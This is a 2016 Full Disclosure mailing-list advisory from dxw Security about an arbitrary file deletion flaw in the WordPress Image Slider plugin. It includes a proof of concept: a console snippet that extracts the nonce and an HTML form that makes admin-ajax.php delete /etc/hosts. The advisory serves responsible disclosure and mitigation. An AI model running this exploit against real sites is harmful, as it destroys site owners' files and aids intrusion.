[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete file
From:       dxw Security <security () dxw ! com>
Date:       2016-12-23 14:47:34
Message-ID: 24ffe619c3eff367da955941153f1830 () security ! dxw ! com
[Download RAW message or body]

Details
================
Software: Image Slider
Version: 1.1.41,1.1.89
Homepage: http://wordpress.org/plugins/image-slider-widget/
Advisory report: https://security.dxw.com/advisories/arbitrary-file-deletion-vulnerability-in-image-slider-allows-authenticated-users-to-delete-files/
                
CVE: Awaiting assignment
CVSS: 5.5 (Medium; AV:N/AC:L/Au:S/C:P/I:P/A:N)

Description
================
Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete \
files

Vulnerability
================
Any user able to create or edit “Sliders” (the same users who can create/edit posts, as far as \
I can tell) is able to delete arbitrary files that the web user has permission to write to. In \
addition, the attacker is told whether that operation succeeded or failed. Depending on \
configuration this could lead to the attacker being able to:

Delete media uploads
Delete plugin files (this would be especially bad if there were security plugins limiting the \
attacker’s abilities) Delete important system files (/etc/hosts, /usr/bin/php)
Attempt to delete unimportant files in order to discover more information about the system \
(i.e. attempting to delete /usr/share/doc/apt/changelog.gz would have little effect on the \
system if successful but it would tell the attacker that the host is running a Debian \
derivative)


Proof of concept
================

First, make sure you have a file to delete. I’m going to use /etc/hosts as an example because \
it demonstrates that you’re not limited to files within the WordPress installation, but make \
sure whichever file you use can be deleted by the user account WordPress is running under Visit \
/wp-admin/post-new.php?post_type=easyimageslider Input the following JavaScript in the \
inspector’s console to get the nonce value: \
document.querySelector(\'[data-tnonce]\').dataset[\'tnonce\'] Create a page containing the \
following code, replace NONCE with the nonce you got in the previous step, visit the page and \
click submit

<form action=\"http://localhost/wp-admin/admin-ajax.php\" method=\"POST\">
  <input type=\"text\" name=\"action\" value=\"ewic_timthumb_check\">
  <input type=\"text\" name=\"turl\" value=\"/etc/hosts\">
  <input type=\"text\" name=\"security\" value=\"NONCE\">
  <input type=\"submit\">
</form>
If WordPress is being run as root (or if the web user has permission to write to that file) \
then the page will display “1”, if not it won’t display anything.

Mitigations
================
Disable the plugin. No fixed version is known.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: \
https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third \
party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your \
behalf.

This vulnerability will be published if we do not receive a response to this report with 14 \
days.

Timeline
================

2015-10-29: Discovered
2016-12-09: Reported to vendor via info@ghozylab.com
2016-12-23: Vendor has not responded after 14 days
2016-12-23: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
          


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic